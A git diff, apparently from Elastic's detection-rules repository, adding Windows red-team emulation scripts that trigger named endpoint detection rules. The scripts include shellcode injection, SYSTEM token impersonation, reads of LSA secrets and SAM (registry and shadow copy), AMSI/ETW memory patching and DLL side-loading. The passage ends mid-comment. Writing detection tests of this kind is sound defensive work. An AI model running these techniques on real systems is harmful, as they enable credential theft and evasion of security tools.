diff --git a/rta/bin/ExecFromISOFile.ps1 b/rta/bin/ExecFromISOFile.ps1 new file mode 100644 index 000000000..3321dce98 --- /dev/null +++ b/rta/bin/ExecFromISOFile.ps1 @@ -0,0 +1,16 @@ +function ExecFromISO { + [CmdletBinding()] + param( + [Parameter()] + [string] $ISOFile, + [string] $procname, + [string] $cmdline + ) + $MountMeta = Mount-DiskImage -ImagePath $ISOFile -StorageType ISO -Access ReadOnly + $DriveLetter = ($MountMeta | Get-Volume).DriveLetter + if ($cmdline) {Start-Process -FilePath "$($DriveLetter):\$($procname)" -ArgumentList "$($cmdline)";} + else {Start-Process -FilePath "$($DriveLetter):\$($procname)" -WorkingDirectory "$($DriveLetter):\"} + Start-Sleep -s 2 + Stop-process -name $procname -Force -ErrorAction ignore + Dismount-DiskImage -ImagePath $ISOFile | Out-Null +} diff --git a/rta/bin/LoadLib-Callback64.exe b/rta/bin/LoadLib-Callback64.exe new file mode 100644 index 000000000..7f74dc464 Binary files /dev/null and b/rta/bin/LoadLib-Callback64.exe differ diff --git a/rta/bin/cmd_from_iso.iso b/rta/bin/cmd_from_iso.iso new file mode 100644 index 000000000..0832cebac Binary files /dev/null and b/rta/bin/cmd_from_iso.iso differ diff --git a/rta/bin/faultrep.dll b/rta/bin/faultrep.dll new file mode 100644 index 000000000..211e59356 Binary files /dev/null and b/rta/bin/faultrep.dll differ diff --git a/rta/bin/lnk_from_iso_rundll.iso b/rta/bin/lnk_from_iso_rundll.iso new file mode 100644 index 000000000..4d2802a16 Binary files /dev/null and b/rta/bin/lnk_from_iso_rundll.iso differ diff --git a/rta/bin/ping_dns_from_iso.iso b/rta/bin/ping_dns_from_iso.iso new file mode 100644 index 000000000..83e0ed5fc Binary files /dev/null and b/rta/bin/ping_dns_from_iso.iso differ diff --git a/rta/bin/rta_unhook_ldrload.exe b/rta/bin/rta_unhook_ldrload.exe new file mode 100644 index 000000000..df5392454 Binary files /dev/null and b/rta/bin/rta_unhook_ldrload.exe differ diff --git a/rta/bin/werfault_iso.iso b/rta/bin/werfault_iso.iso new file mode 100644 index 000000000..590409c95 Binary files /dev/null and b/rta/bin/werfault_iso.iso differ diff --git a/rta/c2_dns_from_iso.py b/rta/c2_dns_from_iso.py new file mode 100644 index 000000000..38de43412 --- /dev/null +++ b/rta/c2_dns_from_iso.py @@ -0,0 +1,44 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata +import os + +metadata = RtaMetadata( + uuid="ba802fb2-f183-420e-947m-da5ce0235d123", + platforms=["windows"], + siem=[], + endpoint=[{"rule_id": "3bc98de7-3349-43ac-869c-58357ae2aac0", "rule_name": "Suspicious DNS Query from Mounted Virtual Disk"}, + {"rule_id": "88f6c3d4-112e-4fad-b3ef-33095c954b63", "rule_name": "Suspicious DNS Query to Free SSL Certificate Domains"}, + {"rule_id": "d37ffe39-8e58-460f-938d-3bafbae60711", "rule_name": "DNS Query to Suspicious Top Level Domain"}], + techniques=["T1071", "T1204", "T1071.004"], +) + +# iso contains ping.exe to test for rules looking for suspicious DNS queries from mounted ISO file +ISO = common.get_path("bin", "ping_dns_from_iso.iso") +PROC = 'ping.exe' + +# ps script to mount, execute a file and unmount ISO device +PS_SCRIPT = common.get_path("bin", "ExecFromISOFile.ps1") + +@common.requires_os(metadata.platforms) + +def main(): + if os.path.exists(ISO) and os.path.exists(PS_SCRIPT): + print(f'[+] - ISO File {ISO} will be mounted and executed via powershell') + + # 3 unique domains to trigger 3 unique rules looking for dns events via a process running from a mounted ISO file + for domain in ["Abc.xyz", "content.dropboxapi.com", "x1.c.lencr.org"] : + + # import ExecFromISO function that takes two args -ISOFIle pointing to ISO file path and -procname pointing to the filename to execute and -cmdline for arguments + # command = "powershell.exe -ExecutionPol Bypass -c import-module " + psf + '; ExecFromISO -ISOFile ' + ISO + ' -procname '+ PROC + ' -cmdline ' + domain + ';' + command = f"powershell.exe -ExecutionPol Bypass -c import-module {PS_SCRIPT}; ExecFromISO -ISOFile {ISO} -procname {PROC} -cmdline {domain};" + common.execute(command) + + print(f'[+] - RTA Done!') + +if __name__ == "__main__": + exit(main()) diff --git a/rta/common.py b/rta/common.py index 2e706a35b..fc1458257 100644 --- a/rta/common.py +++ b/rta/common.py @@ -24,6 +24,8 @@ from pathlib import Path from typing import Iterable, Optional, Union + + from http.server import HTTPServer, SimpleHTTPRequestHandler long_t = type(1 << 63) @@ -67,6 +69,60 @@ else: if CURRENT_OS == WINDOWS: CMD_PATH = os.environ.get("COMSPEC") POWERSHELL_PATH = "C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + import ctypes + import win32process + import win32file + import win32service + import win32api, win32security + from ctypes import byref, windll, wintypes + from ctypes.wintypes import BOOL + from ctypes.wintypes import DWORD + from ctypes.wintypes import HANDLE + from ctypes.wintypes import LPVOID + from ctypes.wintypes import LPCVOID + # Windows related constants and classes + TH32CS_SNAPPROCESS = 0x00000002 + PROCESS_QUERY_LIMITED_INFORMATION = 0x1000 + TOKEN_DUPLICATE = 0x0002 + TOKEN_ALL_ACCESS = 0xf00ff + MAX_PATH = 260 + BOOL = ctypes.c_int + DWORD = ctypes.c_uint32 + HANDLE = ctypes.c_void_p + LONG = ctypes.c_int32 + NULL_T = ctypes.c_void_p + SIZE_T = ctypes.c_uint + TCHAR = ctypes.c_char + USHORT = ctypes.c_uint16 + UCHAR = ctypes.c_ubyte + ULONG = ctypes.c_uint32 + + class PROCESSENTRY32(ctypes.Structure): + _fields_ = [ + ('dwSize', DWORD), + ('cntUsage', DWORD), + ('th32ProcessID', DWORD), + ('th32DefaultHeapID', NULL_T), + ('th32ModuleID', DWORD), + ('cntThreads', DWORD), + ('th32ParentProcessID', DWORD), + ('pcPriClassBase', LONG), + ('dwFlags', DWORD), + ('szExeFile', TCHAR * MAX_PATH) + ] + + LPCSTR = LPCTSTR = ctypes.c_char_p + LPDWORD = PDWORD = ctypes.POINTER(DWORD) + + class _SECURITY_ATTRIBUTES(ctypes.Structure): + _fields_ = [('nLength', DWORD), + ('lpSecurityDescriptor', LPVOID), + ('bInheritHandle', BOOL), ] + + SECURITY_ATTRIBUTES = _SECURITY_ATTRIBUTES + LPSECURITY_ATTRIBUTES = ctypes.POINTER(_SECURITY_ATTRIBUTES) + LPTHREAD_START_ROUTINE = LPVOID + else: CMD_PATH = "/bin/sh" POWERSHELL_PATH = None @@ -669,3 +725,88 @@ def print_file(path): print(f.read().rstrip()) print("") + + +# return pid by process.name +@requires_os('windows') +def getppid(pname): + CreateToolhelp32Snapshot = ctypes.windll.kernel32.CreateToolhelp32Snapshot + Process32First = ctypes.windll.kernel32.Process32First + Process32Next = ctypes.windll.kernel32.Process32Next + CloseHandle = ctypes.windll.kernel32.CloseHandle + + hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) + pe32 = PROCESSENTRY32() + pe32.dwSize = ctypes.sizeof(PROCESSENTRY32) + current_pid = os.getpid() + + + if Process32First(hProcessSnap, ctypes.byref(pe32)) == 0: + print(f"[x] - Failed getting first process.") + return + + while True: + procname = pe32.szExeFile.decode("utf-8").lower() + if pname.lower() in procname: + CloseHandle(hProcessSnap) + return pe32.th32ProcessID + if not Process32Next(hProcessSnap, ctypes.byref(pe32)): + CloseHandle(hProcessSnap) + return None + +@requires_os('windows') +def impersonate_system(): + try: + hp = win32api.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, 0, getppid("winlogon.exe")) + th = win32security.OpenProcessToken(hp, TOKEN_DUPLICATE) + new_tokenh = win32security.DuplicateTokenEx(th, 2, TOKEN_ALL_ACCESS , win32security.TokenImpersonation , win32security.SECURITY_ATTRIBUTES()) + win32security.ImpersonateLoggedOnUser(new_tokenh) + print(f"[+] - Impersonated System Token via Winlogon") + win32api.CloseHandle(hp) + except Exception as e: + print(f"[x] - Failed To Impersonate System Token via Winlogon") + +@requires_os('windows') +def Inject(path, shellcode): + import ctypes, time + import ctypes.wintypes + + from ctypes.wintypes import BOOL + from ctypes.wintypes import DWORD + from ctypes.wintypes import HANDLE + from ctypes.wintypes import LPVOID + from ctypes.wintypes import LPCVOID + import win32process + # created suspended process + info = win32process.CreateProcess(None, path, None, None, False, 0x04, None, None, win32process.STARTUPINFO()) + page_rwx_value = 0x40 + process_all = 0x1F0FFF + memcommit = 0x00001000 + + if info[0].handle > 0 : + print(f"[+] - Created {path} Suspended") + shellcode_length = len(shellcode) + process_handle = info[0].handle # phandle + VirtualAllocEx = windll.kernel32.VirtualAllocEx + VirtualAllocEx.restype = LPVOID + VirtualAllocEx.argtypes = (HANDLE, LPVOID, DWORD, DWORD, DWORD) + + WriteProcessMemory = ctypes.windll.kernel32.WriteProcessMemory + WriteProcessMemory.restype = BOOL + WriteProcessMemory.argtypes = (HANDLE, LPVOID, LPCVOID, DWORD, DWORD) + CreateRemoteThread = ctypes.windll.kernel32.CreateRemoteThread + CreateRemoteThread.restype = HANDLE + CreateRemoteThread.argtypes = (HANDLE, LPSECURITY_ATTRIBUTES, DWORD, LPTHREAD_START_ROUTINE, LPVOID, DWORD, DWORD) + + # allocate RWX memory + lpBuffer = VirtualAllocEx(process_handle, 0, shellcode_length, memcommit, page_rwx_value) + print(f'[+] - Allocated remote memory at {hex(lpBuffer)}') + + # write shellcode in allocated memory + res = WriteProcessMemory(process_handle, lpBuffer, shellcode, shellcode_length, 0) + if res > 0 : + print('[+] - Shellcode written.') + + # create remote thread to start shellcode execution + CreateRemoteThread(process_handle, None, 0, lpBuffer, 0, 0, 0) + print('[+] - Shellcode Injection, done.') diff --git a/rta/credaccess_reg_query_privesc_token_manip.py b/rta/credaccess_reg_query_privesc_token_manip.py new file mode 100644 index 000000000..07850629d --- /dev/null +++ b/rta/credaccess_reg_query_privesc_token_manip.py @@ -0,0 +1,133 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + + +metadata = RtaMetadata( + uuid="59329aa6-852a-44d0-9b24-322fe4fbdad0", + platforms=["windows"], + endpoint=[ + {'rule_id': 'c5ee8453-bc89-42e7-a414-1ba4bec85119', 'rule_name': 'Suspicious Access to LSA Secrets Registry'}, + {'rule.id': 'b6e8c090-f0ec-4c4c-af00-55ac2a9f9b41', 'rule_name': 'Security Account Manager (SAM) Registry Access'}, + {'rule.id': '2afd9e7f-99e0-4a4d-a6e3-9e9db730f63b', 'rule_name': 'Privilege Escalation via EXTENDED STARTUPINFO'}, + {'rule.id': '46de65b8-b873-4ae7-988d-12dcdc6fa605', 'rule_name': 'Potential Privilege Escalation via Token Impersonation'}, + ], + siem=[], + techniques=["T1134", "T1003"], +) + +@common.requires_os(metadata.platforms) +def main(): + import ctypes + from ctypes import byref, windll, wintypes + + hprocess = wintypes.HANDLE() + hsystem_token = wintypes.HANDLE() + hsystem_token_dup = wintypes.HANDLE() + + PROCESS_QUERY_LIMITED_INFORMATION = 0x1000 + TOKEN_IMPERSONATE = 0x00000004 + TOKEN_DUPLICATE = 0x00000002 + SecurityImpersonation = 0x2 + TokenPrimary = 0x1 + LOGON_WITH_PROFILE = 0x1 + TOKEN_ALL_ACCESS = 0xf01ff + LPBYTE = ctypes.POINTER(wintypes.BYTE) + + class PROCESS_INFORMATION(ctypes.Structure): + _pack_ = 1 + _fields_ = [ + ('hProcess', wintypes.HANDLE), + ('hThread', wintypes.HANDLE), + ('dwProcessId', wintypes.DWORD), + ('dwThreadId', wintypes.DWORD), + ] + + class STARTUPINFO(ctypes.Structure): + __slots__ = () + _fields_ = (('cb', wintypes.DWORD), + ('lpReserved', wintypes.LPWSTR), + ('lpDesktop', wintypes.LPWSTR), + ('lpTitle', wintypes.LPWSTR), + ('dwX', wintypes.DWORD), + ('dwY', wintypes.DWORD), + ('dwXSize', wintypes.DWORD), + ('dwYSize', wintypes.DWORD), + ('dwXCountChars', wintypes.DWORD), + ('dwYCountChars', wintypes.DWORD), + ('dwFillAttribute', wintypes.DWORD), + ('dwFlags', wintypes.DWORD), + ('wShowWindow', wintypes.WORD), + ('cbReserved2', wintypes.WORD), + ('lpReserved2', LPBYTE), + ('hStdInput', wintypes.HANDLE), + ('hStdOutput', wintypes.HANDLE), + ('hStdError', wintypes.HANDLE)) + + OpenProcess = windll.kernel32.OpenProcess + OpenProcess.argtypes = [wintypes.DWORD, wintypes.BOOL, wintypes.DWORD] + OpenProcess.restype = wintypes.HANDLE + + OpenProcessToken = windll.kernel32.OpenProcessToken + OpenProcessToken.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPCVOID] + OpenProcessToken.restype = wintypes.BOOL + + DuplicateTokenEx = windll.advapi32.DuplicateTokenEx + DuplicateTokenEx.restype = wintypes.BOOL + DuplicateTokenEx.argtypes = [ + wintypes.HANDLE, # TokenHandle + wintypes.DWORD, # dwDesiredAccess + wintypes.LPCVOID, # lpTokenAttributes + wintypes.DWORD, # ImpersonationLevel + wintypes.DWORD, # TokenType + wintypes.HANDLE, # phNewToken + ] + + CreateProcessWithTokenW = windll.advapi32.CreateProcessWithTokenW + CreateProcessWithTokenW.argtypes = [ + wintypes.HANDLE, # hToken + wintypes.DWORD, # dwLogonFlags + wintypes.LPCWSTR, # lpApplicationName + wintypes.LPCVOID, # lpCommandLine + wintypes.DWORD, # dwCreationFlags + wintypes.LPCVOID, # lpEnvironment + wintypes.LPCVOID, # lpCurrentDirectory + wintypes.LPCVOID, # lpStartupInfo + wintypes.LPCVOID, # lpProcessInformation + ] + CreateProcessWithTokenW.restype = wintypes.BOOL + + CloseHandle = windll.kernel32.CloseHandle + CloseHandle.argtypes = [wintypes.HANDLE] + CloseHandle.restype = wintypes.BOOL + + # Duplicate winlogon.exe System Token + hprocess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, 0, common.getppid("winlogon.exe")) + OpenProcessToken(hprocess, TOKEN_DUPLICATE | TOKEN_IMPERSONATE, byref(hsystem_token)) + DuplicateTokenEx(hsystem_token, TOKEN_ALL_ACCESS, 0, SecurityImpersonation, TokenPrimary, byref(hsystem_token_dup)) + + # create process with winlogon system token duplicate to query specific sensitive registry keys using reg.exe + process_info = PROCESS_INFORMATION() + startup_info = STARTUPINFO() + cmdline = u" /c reg.exe query hklm\\security\\policy\\secrets && reg.exe query hklm\\SAM\\SAM\\Domains\\Account && reg.exe query hklm\\SYSTEM\\ControlSet001\\Control\\Lsa\\JD && reg.exe query hklm\\SYSTEM\\ControlSet001\\Control\\Lsa\\Skew1" + res = CreateProcessWithTokenW(hsystem_token_dup, LOGON_WITH_PROFILE, u"C:\\Windows\\System32\\cmd.exe", cmdline, 0, 0, 0, byref(startup_info), byref (process_info)) + + # check process creation result + if res == 1 : + common.log("Executed RTA") + else : + common.log("Failed to execute RTA") + + # Close all the handles + common.log("Closed all Handles") + CloseHandle(hsystem_token_dup) + CloseHandle(hsystem_token) + CloseHandle(hprocess) + +if __name__ == "__main__": + exit(main()) diff --git a/rta/credaccess_sam_from_vss.py b/rta/credaccess_sam_from_vss.py new file mode 100644 index 000000000..9697cab4b --- /dev/null +++ b/rta/credaccess_sam_from_vss.py @@ -0,0 +1,60 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + + +metadata = RtaMetadata( + uuid="b78f0255-3b97-4e39-8857-ec74d09e36ba", + platforms=["windows"], + siem=[], + endpoint=[{'rule_id': 'dc27190a-688b-4f9b-88f0-1f13deccd67f', 'rule_name': 'Security Account Manager (SAM) File Access'}], + techniques=['T1003', 'T1003.002'], +) + +def get_vss_list(): + import win32com.client + wcd = win32com.client.Dispatch("WbemScripting.SWbemLocator") + wmi = wcd.ConnectServer(".","root\cimv2") + obj = wmi.ExecQuery("SELECT * FROM Win32_ShadowCopy") + return [o.DeviceObject for o in obj] + +def vss_create(): + import win32com.client + wmi=win32com.client.GetObject("winmgmts:\\\\.\\root\\cimv2:Win32_ShadowCopy") + createmethod = wmi.Methods_("Create") + createparams = createmethod.InParameters + createparams.Properties_[1].value="c:\\" + results = wmi.ExecMethod_("Create", createparams) + return results.Properties_[1].value + +@common.requires_os(metadata.platforms) +def main(): + import win32file + vss_list = get_vss_list() + if len(vss_list) > 0 : + sam_path = f"{vss_list[0]}\\Windows\\System32\\config\\SAM" + print(f'[+] - Attempting to Open {sam_path}') + hf = win32file.CreateFile(sam_path, win32file.GENERIC_READ, 0, None, 3, 0, None) + if (hf): + print(f'[+] - RTA Done!') + win32file.CloseHandle(hf) + else : + print(f'[x] - RTA Failed :(') + + else : + vss_list = vss_create() + sam_path = f"{vss_list[0]}\\Windows\\System32\\config\\SAM" + hf = win32file.CreateFile(sam_path, win32file.GENERIC_READ, 0, None, 3, 0, None) + if (hf): + print(f'[+] - RTA Done!') + win32file.CloseHandle(hf) + else : + print(f'[x] - RTA Failed :(') + +if __name__ == "__main__": + exit(main()) diff --git a/rta/evasion_addinproc_certoc_odbc_gfxdwn.py b/rta/evasion_addinproc_certoc_odbc_gfxdwn.py new file mode 100644 index 000000000..0432e3fe0 --- /dev/null +++ b/rta/evasion_addinproc_certoc_odbc_gfxdwn.py @@ -0,0 +1,50 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="6e84852e-b8a2-4158-971e-c5148d969d2a", + platforms=["windows"], + siem=[], + endpoint=[ + {'rule_id': '5bc7a8f8-4de8-4af4-bea4-cba538e54a5c', 'rule_name': 'Suspicious Execution via DotNet Remoting'}, + {'rule_id': '6fcbf73f-4413-4689-be33-61b0d6bd0ffc', 'rule_name': 'Suspicious ImageLoad via Windows CertOC'}, + {'rule_id': '1faebe83-38d7-4390-b6bd-9c6b851e47c4', 'rule_name': 'Suspicious ImageLoad via ODBC Driver Configuration Program'}, + {'rule_id': 'aafe3c78-15d9-4853-a602-663b8fada5b5', 'rule_name': 'Potential Evasion via Intel GfxDownloadWrapper'}], + techniques=['T1218', 'T1218.008', 'T1105'], +) +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + addinproc = "C:\\Users\\Public\\AddInProcess.exe" + certoc = "C:\\Users\\Public\\CertOc.exe" + odbc = "C:\\Users\\Public\\odbcconf.exe" + gfxdwn = "C:\\Users\\Public\\GfxDownloadWrapper.exe" + + common.copy_file(EXE_FILE, addinproc) + common.copy_file(EXE_FILE, certoc) + common.copy_file(EXE_FILE, odbc) + common.copy_file(EXE_FILE, gfxdwn) + + # Execute command + common.execute([addinproc, "/guid:32a91b0f-30cd-4c75-be79-ccbd6345de99", "/pid:123"], timeout=10) + common.execute([certoc, "-LoadDLL"], timeout=10) + common.execute([odbc, "-a", "-f"], timeout=10) + common.execute([gfxdwn, "run", "2", "0"], timeout=10) + + # Cleanup + common.remove_file(addinproc) + common.remove_file(certoc) + common.remove_file(odbc) + common.remove_file(gfxdwn) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/evasion_loadlib_via_callback.py b/rta/evasion_loadlib_via_callback.py new file mode 100644 index 000000000..9e0f98345 --- /dev/null +++ b/rta/evasion_loadlib_via_callback.py @@ -0,0 +1,33 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata +import os + +metadata = RtaMetadata( + uuid="ae4b2807-3a16-485e-bb69-5d36bbe9b7d1", + platforms=["windows"], + siem=[], + endpoint=[{"rule_id": "fae9f554-d3bc-4d48-8863-54d0dd68db54", "rule_name": "Library Loaded via a CallBack Function"}], + techniques=["T1574"], +) + +# testing PE that will load ws2_32 and dnsapi.dll via a Callback function using RtlQueueWorkItem and RtlRegisterWait +# source code - https://gist.github.com/joe-desimone/0b2bb00eca4c522ba0bd5541a6f3528b +BIN = common.get_path("bin", "LoadLib-Callback64.exe") + +@common.requires_os(metadata.platforms) + +def main(): + if os.path.exists(BIN) : + print(f'[+] - File {BIN} will be executed') + common.execute(BIN) + # cleanup + common.execute(["taskkill", "/f", "/im", "LoadLib-Callback64.exe"]) + print(f'[+] - RTA Done!') + +if __name__ == "__main__": + exit(main()) diff --git a/rta/evasion_ntdll_from_unusual_path.py b/rta/evasion_ntdll_from_unusual_path.py new file mode 100644 index 000000000..f1c54dae3 --- /dev/null +++ b/rta/evasion_ntdll_from_unusual_path.py @@ -0,0 +1,40 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="e6d5315f-4c70-4788-8564-e7c23786a4d0", + platforms=["windows"], + endpoint=[{"rule_name": "NTDLL Loaded from an Unusual Path", "rule_id": "3205274e-7eb0-4765-a712-5783361091ae"}], + siem=[], + techniques=["T1055"], +) + + + +@common.requires_os(metadata.platforms) +def main(): + import win32file, win32api, os, time + from os import path + win32file.CopyFile(path.expandvars("%systemroot%\\system32\\ntdll.dll"), path.expandvars("%localappdata%\\Temp\\notntdll.dll"), 0) + if os.path.exists(path.expandvars("%localappdata%\\Temp\\notntdll.dll")): + print(f"[+] - NTDLL copied") + r = win32api.LoadLibrary(path.expandvars("%localappdata%\\Temp\\notntdll.dll")) + if r > 0 : + print(f"[+] - NTDLL copy loaded") + time.sleep(1) + win32api.FreeLibrary(r) + win32file.DeleteFile(path.expandvars("%localappdata%\\Temp\\notntdll.dll")) + print(f'[+] - NTDLL copy deleted') + else : + print('f[+] - Failed to load ntdll') + +if __name__ == "__main__": + exit(main()) + diff --git a/rta/evasion_oversized_dll_load.py b/rta/evasion_oversized_dll_load.py new file mode 100644 index 000000000..a09192410 --- /dev/null +++ b/rta/evasion_oversized_dll_load.py @@ -0,0 +1,66 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="ec52377c-b2a8-4c44-8eb4-465376f2189a", + platforms=["windows"], + siem=[], + endpoint=[ + {"rule_id": "33cdad6c-5809-4d78-94f0-5a5153289e7e", "rule_name": "Oversized DLL Creation followed by SideLoad"}, + {"rule_id": "65a402ff-904b-4d14-b7aa-fa0c5ae575f8", "rule_name": "Potential Evasion via Oversized Image Load"}, + {"rule_id": "b58a6662-cc72-4c1c-a24e-703427f3b725", "rule_name": "Rundll32 or Regsvr32 Executing an OverSized File"}, + {"rule_id": "d84090d7-91e4-4063-84c1-c1f410dd717b", "rule_name": "DLL Side Loading via a Copied Microsoft Executable"}, + {"rule_id": "901f0c30-a7c5-40a5-80e3-a50c6744632f", "rule_name": "RunDLL32/Regsvr32 Loads Dropped Executable"}, + ], + techniques=["T1027", "T1574"], +) + +# testing DLL that will spawn notepad once DllMain is invoked +DLL = common.get_path("bin", "faultrep.dll") + +# we will copy WerFault.exe to temp to sideload our testing DLL faultrep.dll +WER = "c:\\windows\\system32\\werfault.exe" + + +@common.requires_os(metadata.platforms) +def main(): + import os, win32file + from os import path + if os.path.exists(DLL) : + tempc = path.expandvars("%localappdata%\\Temp\\oversized.dll") + rta_dll = path.expandvars("%localappdata%\\Temp\\faultrep.dll") + rta_pe = path.expandvars("%localappdata%\\Temp\\wer.exe") + # copy files to temp + win32file.CopyFile(DLL,tempc, 0) + win32file.CopyFile(WER, rta_pe, 0) + if os.path.exists(tempc): + print(f"[+] - {DLL} copied to {tempc}") + print(f"[+] - File {tempc} will be appended with null bytes to reach 90MB in size.") + # append null bytes to makde the DLL oversized 90+MB in size + with open(tempc, 'rb+') as binfile: + binfile.seek(100000000) + binfile.write(b'\x00') + + # copied via cmd to trigger the rule - python is signed and won't trigger the file mod part of the rule + common.execute(["cmd.exe", "/c", "copy", tempc, rta_dll]) + if os.path.exists(rta_dll) and os.path.exists(rta_pe): + # should trigger rundll32 rules + common.execute(["rundll32.exe", rta_dll, "DllMain"]) + # should trigger dll sideload from current dir + common.execute(rta_pe) + # cleanup + common.execute(["taskkill", "/f", "/im", "notepad.exe"]) + print(f'[+] - Cleanup.') + win32file.DeleteFile(tempc) + win32file.DeleteFile(rta_dll) + win32file.DeleteFile(rta_pe) + print(f'[+] - RTA Done!') + +if __name__ == "__main__": + exit(main()) diff --git a/rta/evasion_patch_etw_amsi.py b/rta/evasion_patch_etw_amsi.py new file mode 100644 index 000000000..e7b96959b --- /dev/null +++ b/rta/evasion_patch_etw_amsi.py @@ -0,0 +1,82 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="395d0e4c-e7f5-4c77-add7-92b1d2ba169e", + platforms=["windows"], + siem=[], + endpoint=[{"rule_id": "586bf106-b208-45fc-9401-727664175ca0", "rule_name": "Potential AMSI Bypass via Memory Patching"}, + {"rule_id": "3046168a-91cb-4ecd-a061-b75b1df1c107", "rule_name": "Potential Evasion via Event Tracing Patching"}], + techniques=["T1562.001"], +) + + +@common.requires_os(metadata.platforms) +def main(): + import ctypes, platform + from ctypes import windll, wintypes + + kernel32 = windll.kernel32 + + LoadLibraryA = kernel32.LoadLibraryA + LoadLibraryA.argtypes = [wintypes.LPCSTR] + LoadLibraryA.restype = wintypes.HMODULE + + GetProcAddress = kernel32.GetProcAddress + GetProcAddress.argtypes = [wintypes.HMODULE, wintypes.LPCSTR] + GetProcAddress.restype = ctypes.c_void_p + + VirtualProtect = kernel32.VirtualProtect + VirtualProtect.argtypes = [wintypes.LPVOID, ctypes.c_size_t, wintypes.DWORD, wintypes.PDWORD] + VirtualProtect.restype = wintypes.BOOL + + GetCurrentProcess = kernel32.GetCurrentProcess + GetCurrentProcess.restype = wintypes.HANDLE + + WriteProcessMemory = kernel32.WriteProcessMemory + WriteProcessMemory.argtypes = [wintypes.HANDLE, wintypes.LPVOID, wintypes.LPCVOID, ctypes.c_size_t, wintypes.LPVOID] + WriteProcessMemory.restype = wintypes.BOOL + + GetModuleHandleA = kernel32.GetModuleHandleA + GetModuleHandleA.restype = wintypes.HANDLE + GetModuleHandleA.argtypes = [wintypes.LPCSTR] + + RWX = 0x40 # PAGE_READ_WRITE_EXECUTE + OLD_PROTECTION = wintypes.LPDWORD(ctypes.c_ulong(0)) + + if platform.architecture()[0] == '64bit': + print(f'[+] using x64 based patch') + patch = (ctypes.c_char * 6)(0x90, 0x90, 0x90, 0x90, 0x90, 0x90) + if platform.architecture()[0] != '64bit': + print(f'[+] using x86 based patch') + patch = (ctypes.c_char * 8)(0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90) + + lib = LoadLibraryA(b"amsi.dll") + if lib: + print(f'[+] Loaded amsi.dll at {hex(lib)}') + + amsi = GetProcAddress(lib, b"AmsiScanBuffer") + etw = GetProcAddress(GetModuleHandleA(b"ntdll.dll"), b"EtwNotificationRegister") + if amsi and etw: + print(f'[+] Address of AmsiScanBuffer(): {hex(amsi)}') + print(f'[+] Address of EtwEventWrite(): {hex(etw)}') + + amsi_rwx = VirtualProtect(amsi, ctypes.sizeof(patch), RWX, OLD_PROTECTION) + etw_rwx = VirtualProtect(etw, ctypes.sizeof(patch), RWX, OLD_PROTECTION) + if amsi_rwx and etw_rwx: + print(f'[+] Changed Proctection of AmsiScanBuffer and EtwNotificationRegister to RWX') + + c_null = ctypes.c_int(0) + amsi_bypass = WriteProcessMemory(GetCurrentProcess(), amsi, patch, ctypes.sizeof(patch), ctypes.byref(c_null)) + etw_bypass = WriteProcessMemory(GetCurrentProcess(), etw, patch, ctypes.sizeof(patch), ctypes.byref(c_null)) + if amsi_bypass and etw_bypass: + print(f'[*] RTA Done - Patched AmsiScanBuffer & EtwNotificationRegister!') + +if __name__ == "__main__": + exit(main()) diff --git a/rta/evasion_unhook_ldrloaddll.py b/rta/evasion_unhook_ldrloaddll.py new file mode 100644 index 000000000..decbaf052 --- /dev/null +++ b/rta/evasion_unhook_ldrloaddll.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata +import os + +metadata = RtaMetadata( + uuid="7fcf2f31-b510-45f8-9de4-7dc8f5ecb68b", + platforms=["windows"], + siem=[], + endpoint=[{"rule_id": "d7bc9652-fe82-4fb3-8a48-4a9289c840f8", "rule_name": "Potential NTDLL Memory Unhooking"}, + {"rule_id": "2c4f5a78-a64f-4fcf-ac52-bf91fd9b82c8", "rule_name": "Suspicious Image Load via LdrLoadDLL"}, + {"rule_id": "703343f1-095a-4a5a-9bf4-5338db06ecb8", "rule_name": "Process Creation from Modified NTDLL"}], + techniques=["T1055"], +) + +# testing PE that will first unhook ntdll txt section and load ws2_32.dll, create notepad.exe from unhooked ntdll then load psapi.dll via LdrLoadDll +# source code 